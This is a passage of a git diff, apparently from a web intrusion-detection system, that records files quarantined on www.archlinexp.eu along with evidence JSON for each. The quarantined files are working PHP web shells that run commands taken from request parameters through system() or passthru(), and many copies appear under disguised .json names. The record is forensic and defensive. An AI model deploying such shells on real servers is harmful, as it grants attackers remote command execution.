+    "uid": 20043
+  },
+  "rel_path": "flamy.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160204Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/h3x_49822__php.json b/var/www/hosting/archlinexp.eu/www/h3x_49822__php.json
new file mode 100644
index 0000000..469fa6f
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/h3x_49822__php.json
@@ -0,0 +1 @@
+<?php if(isset($_GET["c"])){echo "<!--H3X-->";system($_GET["c"]);echo "<!--/H3X-->";}else{echo "<!--H3X-->".php_uname()."<!--/H3X-->";} ?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/h3x_49822__php.json.evidence.json b/var/www/hosting/archlinexp.eu/www/h3x_49822__php.json.evidence.json
new file mode 100644
index 0000000..6780b43
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/h3x_49822__php.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "4841",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:h3x_49822__php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/h3x_49822__php.json)",
+  "original_sha256": "762c295fadd2dc330284e3ec35accc41d3d5bd0a97d47bf8db304bc0d2612633",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783271362,
+    "size": 138,
+    "uid": 20043
+  },
+  "rel_path": "h3x_49822__php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160204Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/hwlyroez.json b/var/www/hosting/archlinexp.eu/www/hwlyroez.json
new file mode 100644
index 0000000..c9a942b
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/hwlyroez.json
@@ -0,0 +1 @@
+<?php if(isset($_POST['cmd'])){$cmd=base64_decode($_POST['cmd']);header('Content-Type:text/plain;charset=utf-8');echo '===HX3_START===\n';passthru($cmd);echo '\n===HX3_END===';exit;}if(isset($_GET['c'])){header('Content-Type:text/plain;charset=utf-8');echo '===HX3_START===\n';passthru($_GET['c']);echo '\n===HX3_END===';exit;}echo 'SHELL_OK';?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/hwlyroez.json.evidence.json b/var/www/hosting/archlinexp.eu/www/hwlyroez.json.evidence.json
new file mode 100644
index 0000000..1e64b8d
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/hwlyroez.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "4859",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:hwlyroez.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/hwlyroez.json)",
+  "original_sha256": "8fb8405fe6053c61a6497fd46218c1debb3b74714c14b8c864abec280c9109e7",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783810561,
+    "size": 345,
+    "uid": 20043
+  },
+  "rel_path": "hwlyroez.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160204Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/hwlyroez.php.json b/var/www/hosting/archlinexp.eu/www/hwlyroez.php.json
new file mode 100644
index 0000000..c9a942b
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/hwlyroez.php.json
@@ -0,0 +1 @@
+<?php if(isset($_POST['cmd'])){$cmd=base64_decode($_POST['cmd']);header('Content-Type:text/plain;charset=utf-8');echo '===HX3_START===\n';passthru($cmd);echo '\n===HX3_END===';exit;}if(isset($_GET['c'])){header('Content-Type:text/plain;charset=utf-8');echo '===HX3_START===\n';passthru($_GET['c']);echo '\n===HX3_END===';exit;}echo 'SHELL_OK';?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/hwlyroez.php.json.evidence.json b/var/www/hosting/archlinexp.eu/www/hwlyroez.php.json.evidence.json
new file mode 100644
index 0000000..ce78ad2
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/hwlyroez.php.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "4890",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:hwlyroez.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/hwlyroez.php.json)",
+  "original_sha256": "8fb8405fe6053c61a6497fd46218c1debb3b74714c14b8c864abec280c9109e7",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783810551,
+    "size": 345,
+    "uid": 20043
+  },
+  "rel_path": "hwlyroez.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160204Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/hwlyroez.phtml.json b/var/www/hosting/archlinexp.eu/www/hwlyroez.phtml.json
new file mode 100644
index 0000000..c9a942b
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/hwlyroez.phtml.json
@@ -0,0 +1 @@
+<?php if(isset($_POST['cmd'])){$cmd=base64_decode($_POST['cmd']);header('Content-Type:text/plain;charset=utf-8');echo '===HX3_START===\n';passthru($cmd);echo '\n===HX3_END===';exit;}if(isset($_GET['c'])){header('Content-Type:text/plain;charset=utf-8');echo '===HX3_START===\n';passthru($_GET['c']);echo '\n===HX3_END===';exit;}echo 'SHELL_OK';?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/hwlyroez.phtml.json.evidence.json b/var/www/hosting/archlinexp.eu/www/hwlyroez.phtml.json.evidence.json
new file mode 100644
index 0000000..8b5f827
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/hwlyroez.phtml.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "4891",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:hwlyroez.phtml.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/hwlyroez.phtml.json)",
+  "original_sha256": "8fb8405fe6053c61a6497fd46218c1debb3b74714c14b8c864abec280c9109e7",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783810553,
+    "size": 345,
+    "uid": 20043
+  },
+  "rel_path": "hwlyroez.phtml.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160204Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/images/8j7txp50.php.json b/var/www/hosting/archlinexp.eu/www/images/8j7txp50.php.json
new file mode 100644
index 0000000..02a4de5
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/images/8j7txp50.php.json
@@ -0,0 +1 @@
+<?php echo "FLAMY_SHELL_".php_uname()."_".getcwd(); @system($_GET['c']); ?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/images/8j7txp50.php.json.evidence.json b/var/www/hosting/archlinexp.eu/www/images/8j7txp50.php.json.evidence.json
new file mode 100644
index 0000000..d4d739f
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/images/8j7txp50.php.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "5201",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:images/8j7txp50.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/images/8j7txp50.php.json)",
+  "original_sha256": "0c42ac94c7f526c0b942532abcd57e040d3fc980e65cfd9575a015e2c2cbb266",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783343440,
+    "size": 75,
+    "uid": 20043
+  },
+  "rel_path": "images/8j7txp50.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160204Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/images/_h3x_6h0804r6.php.json b/var/www/hosting/archlinexp.eu/www/images/_h3x_6h0804r6.php.json
new file mode 100644
index 0000000..6fc575b
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/images/_h3x_6h0804r6.php.json
@@ -0,0 +1 @@
+<?php echo "h3x_hsojrm";system($_GET["c"]);?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/images/_h3x_6h0804r6.php.json.evidence.json b/var/www/hosting/archlinexp.eu/www/images/_h3x_6h0804r6.php.json.evidence.json
new file mode 100644
index 0000000..408af81
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/images/_h3x_6h0804r6.php.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "5168",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:images/_h3x_6h0804r6.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/images/_h3x_6h0804r6.php.json)",
+  "original_sha256": "1f41898baa990db755bfb3c877a9aeab02d98eb31d49fe508da9bde84c47239a",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783841982,
+    "size": 45,
+    "uid": 20043
+  },
+  "rel_path": "images/_h3x_6h0804r6.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160204Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/images/_h3x_6h0804r6.php5.json b/var/www/hosting/archlinexp.eu/www/images/_h3x_6h0804r6.php5.json
new file mode 100644
index 0000000..6fc575b
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/images/_h3x_6h0804r6.php5.json
@@ -0,0 +1 @@
+<?php echo "h3x_hsojrm";system($_GET["c"]);?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/images/_h3x_6h0804r6.php5.json.evidence.json b/var/www/hosting/archlinexp.eu/www/images/_h3x_6h0804r6.php5.json.evidence.json
new file mode 100644
index 0000000..7dfc1b5
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/images/_h3x_6h0804r6.php5.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "5213",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:images/_h3x_6h0804r6.php5.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/images/_h3x_6h0804r6.php5.json)",
+  "original_sha256": "1f41898baa990db755bfb3c877a9aeab02d98eb31d49fe508da9bde84c47239a",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783841984,
+    "size": 45,
+    "uid": 20043
+  },
+  "rel_path": "images/_h3x_6h0804r6.php5.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160204Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/images/_h3x_6h0804r6.pht.json b/var/www/hosting/archlinexp.eu/www/images/_h3x_6h0804r6.pht.json
new file mode 100644
index 0000000..6fc575b
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/images/_h3x_6h0804r6.pht.json
@@ -0,0 +1 @@
+<?php echo "h3x_hsojrm";system($_GET["c"]);?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/images/_h3x_6h0804r6.pht.json.evidence.json b/var/www/hosting/archlinexp.eu/www/images/_h3x_6h0804r6.pht.json.evidence.json
new file mode 100644
index 0000000..edb3f81
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/images/_h3x_6h0804r6.pht.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "5169",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:images/_h3x_6h0804r6.pht.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/images/_h3x_6h0804r6.pht.json)",
+  "original_sha256": "1f41898baa990db755bfb3c877a9aeab02d98eb31d49fe508da9bde84c47239a",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783841984,
+    "size": 45,
+    "uid": 20043
+  },
+  "rel_path": "images/_h3x_6h0804r6.pht.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160204Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/images/_h3x_6h0804r6.phtml.json b/var/www/hosting/archlinexp.eu/www/images/_h3x_6h0804r6.phtml.json
new file mode 100644
index 0000000..6fc575b
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/images/_h3x_6h0804r6.phtml.json
@@ -0,0 +1 @@
+<?php echo "h3x_hsojrm";system($_GET["c"]);?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/images/_h3x_6h0804r6.phtml.json.evidence.json b/var/www/hosting/archlinexp.eu/www/images/_h3x_6h0804r6.phtml.json.evidence.json
new file mode 100644
index 0000000..2b6fd1c
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/images/_h3x_6h0804r6.phtml.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "5177",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:images/_h3x_6h0804r6.phtml.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/images/_h3x_6h0804r6.phtml.json)",
+  "original_sha256": "1f41898baa990db755bfb3c877a9aeab02d98eb31d49fe508da9bde84c47239a",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783841984,
+    "size": 45,
+    "uid": 20043
+  },
+  "rel_path": "images/_h3x_6h0804r6.phtml.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160204Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/images/_h3x_ajhdpqok.php.json b/var/www/hosting/archlinexp.eu/www/images/_h3x_ajhdpqok.php.json
new file mode 100644
index 0000000..ee60a11
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/images/_h3x_ajhdpqok.php.json
@@ -0,0 +1 @@
+<?php echo "h3x_rwxfzw";system($_GET["c"]);?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/images/_h3x_ajhdpqok.php.json.evidence.json b/var/www/hosting/archlinexp.eu/www/images/_h3x_ajhdpqok.php.json.evidence.json
new file mode 100644
index 0000000..c6c5423
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/images/_h3x_ajhdpqok.php.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "5166",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:images/_h3x_ajhdpqok.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/images/_h3x_ajhdpqok.php.json)",
+  "original_sha256": "537445e14c909f954cf42ab038dc00d542626caa50c184ba074ae9798bbd1fe0",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783744942,
+    "size": 45,
+    "uid": 20043
+  },
+  "rel_path": "images/_h3x_ajhdpqok.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160204Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/images/_h3x_ajhdpqok.php5.json b/var/www/hosting/archlinexp.eu/www/images/_h3x_ajhdpqok.php5.json
new file mode 100644
index 0000000..ee60a11
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/images/_h3x_ajhdpqok.php5.json
@@ -0,0 +1 @@
+<?php echo "h3x_rwxfzw";system($_GET["c"]);?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/images/_h3x_ajhdpqok.php5.json.evidence.json b/var/www/hosting/archlinexp.eu/www/images/_h3x_ajhdpqok.php5.json.evidence.json
new file mode 100644
index 0000000..e2c6599
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/images/_h3x_ajhdpqok.php5.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "5178",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:images/_h3x_ajhdpqok.php5.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/images/_h3x_ajhdpqok.php5.json)",
+  "original_sha256": "537445e14c909f954cf42ab038dc00d542626caa50c184ba074ae9798bbd1fe0",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783744944,
+    "size": 45,
+    "uid": 20043
+  },
+  "rel_path": "images/_h3x_ajhdpqok.php5.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160204Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/images/_h3x_ajhdpqok.pht.json b/var/www/hosting/archlinexp.eu/www/images/_h3x_ajhdpqok.pht.json
new file mode 100644
index 0000000..ee60a11
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/images/_h3x_ajhdpqok.pht.json
@@ -0,0 +1 @@
+<?php echo "h3x_rwxfzw";system($_GET["c"]);?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/images/_h3x_ajhdpqok.pht.json.evidence.json b/var/www/hosting/archlinexp.eu/www/images/_h3x_ajhdpqok.pht.json.evidence.json
new file mode 100644
index 0000000..2567017
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/images/_h3x_ajhdpqok.pht.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "5191",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:images/_h3x_ajhdpqok.pht.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/images/_h3x_ajhdpqok.pht.json)",
+  "original_sha256": "537445e14c909f954cf42ab038dc00d542626caa50c184ba074ae9798bbd1fe0",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783744944,
+    "size": 45,
+    "uid": 20043
+  },
+  "rel_path": "images/_h3x_ajhdpqok.pht.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160204Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/images/_h3x_ajhdpqok.phtml.json b/var/www/hosting/archlinexp.eu/www/images/_h3x_ajhdpqok.phtml.json
new file mode 100644
index 0000000..ee60a11
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/images/_h3x_ajhdpqok.phtml.json
@@ -0,0 +1 @@
+<?php echo "h3x_rwxfzw";system($_GET["c"]);?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/images/_h3x_ajhdpqok.phtml.json.evidence.json b/var/www/hosting/archlinexp.eu/www/images/_h3x_ajhdpqok.phtml.json.evidence.json
new file mode 100644
index 0000000..15bd473
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/images/_h3x_ajhdpqok.phtml.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "5206",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:images/_h3x_ajhdpqok.phtml.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/images/_h3x_ajhdpqok.phtml.json)",
+  "original_sha256": "537445e14c909f954cf42ab038dc00d542626caa50c184ba074ae9798bbd1fe0",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783744944,
+    "size": 45,
+    "uid": 20043
+  },
+  "rel_path": "images/_h3x_ajhdpqok.phtml.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160204Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/images/_h3x_kgqxc7tj.php.json b/var/www/hosting/archlinexp.eu/www/images/_h3x_kgqxc7tj.php.json
new file mode 100644
index 0000000..2502a03
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/images/_h3x_kgqxc7tj.php.json
@@ -0,0 +1 @@
+<?php echo "h3x_fhgucf";system($_GET["c"]);?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/images/_h3x_kgqxc7tj.php.json.evidence.json b/var/www/hosting/archlinexp.eu/www/images/_h3x_kgqxc7tj.php.json.evidence.json
new file mode 100644
index 0000000..0496d7a
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/images/_h3x_kgqxc7tj.php.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "5209",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:images/_h3x_kgqxc7tj.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/images/_h3x_kgqxc7tj.php.json)",
+  "original_sha256": "c5a291910c1c5c3d846e1d6764610c5ce35b5916ede2f39fce7ba795b3ba4849",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783743197,
+    "size": 45,
+    "uid": 20043
+  },
+  "rel_path": "images/_h3x_kgqxc7tj.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160204Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/images/_h3x_kgqxc7tj.php5.json b/var/www/hosting/archlinexp.eu/www/images/_h3x_kgqxc7tj.php5.json
new file mode 100644
index 0000000..2502a03
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/images/_h3x_kgqxc7tj.php5.json
@@ -0,0 +1 @@
+<?php echo "h3x_fhgucf";system($_GET["c"]);?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/images/_h3x_kgqxc7tj.php5.json.evidence.json b/var/www/hosting/archlinexp.eu/www/images/_h3x_kgqxc7tj.php5.json.evidence.json
new file mode 100644
index 0000000..0b1c795
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/images/_h3x_kgqxc7tj.php5.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "5154",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:images/_h3x_kgqxc7tj.php5.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/images/_h3x_kgqxc7tj.php5.json)",
+  "original_sha256": "c5a291910c1c5c3d846e1d6764610c5ce35b5916ede2f39fce7ba795b3ba4849",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783743200,
+    "size": 45,
+    "uid": 20043
+  },
+  "rel_path": "images/_h3x_kgqxc7tj.php5.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160204Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/images/_h3x_kgqxc7tj.pht.json b/var/www/hosting/archlinexp.eu/www/images/_h3x_kgqxc7tj.pht.json
new file mode 100644
index 0000000..2502a03
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/images/_h3x_kgqxc7tj.pht.json
@@ -0,0 +1 @@
+<?php echo "h3x_fhgucf";system($_GET["c"]);?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/images/_h3x_kgqxc7tj.pht.json.evidence.json b/var/www/hosting/archlinexp.eu/www/images/_h3x_kgqxc7tj.pht.json.evidence.json
new file mode 100644
index 0000000..fc1bb25
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/images/_h3x_kgqxc7tj.pht.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "5148",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:images/_h3x_kgqxc7tj.pht.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/images/_h3x_kgqxc7tj.pht.json)",
+  "original_sha256": "c5a291910c1c5c3d846e1d6764610c5ce35b5916ede2f39fce7ba795b3ba4849",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783743200,
+    "size": 45,
+    "uid": 20043
+  },
+  "rel_path": "images/_h3x_kgqxc7tj.pht.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160204Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/images/_h3x_kgqxc7tj.phtml.json b/var/www/hosting/archlinexp.eu/www/images/_h3x_kgqxc7tj.phtml.json
new file mode 100644
index 0000000..2502a03
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/images/_h3x_kgqxc7tj.phtml.json
@@ -0,0 +1 @@
+<?php echo "h3x_fhgucf";system($_GET["c"]);?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/images/_h3x_kgqxc7tj.phtml.json.evidence.json b/var/www/hosting/archlinexp.eu/www/images/_h3x_kgqxc7tj.phtml.json.evidence.json
new file mode 100644
index 0000000..cc3b1de
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/images/_h3x_kgqxc7tj.phtml.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "5212",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:images/_h3x_kgqxc7tj.phtml.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/images/_h3x_kgqxc7tj.phtml.json)",
+  "original_sha256": "c5a291910c1c5c3d846e1d6764610c5ce35b5916ede2f39fce7ba795b3ba4849",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783743199,
+    "size": 45,
+    "uid": 20043
+  },
+  "rel_path": "images/_h3x_kgqxc7tj.phtml.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160204Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/images/_h3x_qdjyeroc.php.json b/var/www/hosting/archlinexp.eu/www/images/_h3x_qdjyeroc.php.json
new file mode 100644
index 0000000..ee60a11
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/images/_h3x_qdjyeroc.php.json
@@ -0,0 +1 @@
+<?php echo "h3x_rwxfzw";system($_GET["c"]);?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/images/_h3x_qdjyeroc.php.json.evidence.json b/var/www/hosting/archlinexp.eu/www/images/_h3x_qdjyeroc.php.json.evidence.json
new file mode 100644
index 0000000..cd23929
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/images/_h3x_qdjyeroc.php.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "5161",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:images/_h3x_qdjyeroc.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/images/_h3x_qdjyeroc.php.json)",
+  "original_sha256": "537445e14c909f954cf42ab038dc00d542626caa50c184ba074ae9798bbd1fe0",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783743970,
+    "size": 45,
+    "uid": 20043
+  },
+  "rel_path": "images/_h3x_qdjyeroc.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160204Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/images/_h3x_qdjyeroc.php5.json b/var/www/hosting/archlinexp.eu/www/images/_h3x_qdjyeroc.php5.json
new file mode 100644
index 0000000..ee60a11
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/images/_h3x_qdjyeroc.php5.json
@@ -0,0 +1 @@
+<?php echo "h3x_rwxfzw";system($_GET["c"]);?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/images/_h3x_qdjyeroc.php5.json.evidence.json b/var/www/hosting/archlinexp.eu/www/images/_h3x_qdjyeroc.php5.json.evidence.json
new file mode 100644
index 0000000..7e5c213
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/images/_h3x_qdjyeroc.php5.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "5194",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:images/_h3x_qdjyeroc.php5.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/images/_h3x_qdjyeroc.php5.json)",
+  "original_sha256": "537445e14c909f954cf42ab038dc00d542626caa50c184ba074ae9798bbd1fe0",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783743971,
+    "size": 45,
+    "uid": 20043
+  },
+  "rel_path": "images/_h3x_qdjyeroc.php5.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160204Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/images/_h3x_qdjyeroc.pht.json b/var/www/hosting/archlinexp.eu/www/images/_h3x_qdjyeroc.pht.json
new file mode 100644
index 0000000..ee60a11
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/images/_h3x_qdjyeroc.pht.json
@@ -0,0 +1 @@
+<?php echo "h3x_rwxfzw";system($_GET["c"]);?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/images/_h3x_qdjyeroc.pht.json.evidence.json b/var/www/hosting/archlinexp.eu/www/images/_h3x_qdjyeroc.pht.json.evidence.json
new file mode 100644
index 0000000..c14bddc
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/images/_h3x_qdjyeroc.pht.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "5146",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:images/_h3x_qdjyeroc.pht.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/images/_h3x_qdjyeroc.pht.json)",
+  "original_sha256": "537445e14c909f954cf42ab038dc00d542626caa50c184ba074ae9798bbd1fe0",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783743971,
+    "size": 45,
+    "uid": 20043
+  },
+  "rel_path": "images/_h3x_qdjyeroc.pht.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160204Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/images/_h3x_qdjyeroc.phtml.json b/var/www/hosting/archlinexp.eu/www/images/_h3x_qdjyeroc.phtml.json
new file mode 100644
index 0000000..ee60a11
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/images/_h3x_qdjyeroc.phtml.json
@@ -0,0 +1 @@
